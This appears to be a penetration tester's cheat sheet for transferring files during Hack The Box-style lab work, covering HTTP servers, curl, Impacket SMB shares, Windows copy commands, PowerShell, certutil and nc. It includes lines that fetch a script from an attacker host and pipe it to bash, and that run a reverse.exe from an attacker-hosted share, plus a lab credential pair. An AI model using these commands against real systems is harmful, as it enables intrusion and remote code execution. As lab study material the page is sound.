Transfer Files
More
Curl
vim script.py
python -m SimpleHTTPServer 80 ..share
curl http://10.x.x.x:80/script.py -o /opt/tmp.py ..d/l overwrite
curl $MyIP:80/LinEnum.sh | bash ..d/l execute (linux)
curl --user david:Nowonly4me http://10.x.x.x/~david/
curl --user david:Nowonly4me --negotiate http://10.x.x.x/~david/smbserver
Share from Linux SMB to Windows
locate smbserver.py ..find
cd /usr/share/doc/python3-impacket/examples ..prep
sudo python3 ./smbserver.py share /tmp ..share
impacket-smbserver share `pwd` ..another method
smbclient -L 10.x.x.x --no-pass ..test
net view \\10.x.x.x ..windows command
net use z: \\10.x.x.x\pub ..map a drive
copy "Oracle Issue.txt" z: ..copy file
dir \\10.x.x.x\share ..windows list directory
copy \\10.x.x.x\share\app C:\Windows\Temp\ ..windows copy
\\10.x.x.x\share\reverse.exe ..runWindows Share
Linux: Copy to Windows Share
Linux: Mount Windows Share
Windows: Copy to Windows Share
HTTP Server One Liners
Powershell
Share with Linux: python3 - m http.server
Download with Window Powershell
Powershell Advanced
Can't execute the payload?
Powershell ByPass Execution Policy
Example: ChimichurriWindowsPrivEsc
smb setup issues
Run smbserver.py from Linux
Now Windows can share back to Linux
smb setup impacket python2
smb optional
Example: DrupalPhpVuln
nc
updog
Looks like an interesting option if you need SSL
Default port 9090
ftp
anonymous, writable, port 2121
Permission Trouble
You may have a permissions problem
Save and execute from the Temp folder!
certutil
You can download files on Windows with this tool
REF: bountyHTB
Last updated
Was this helpful?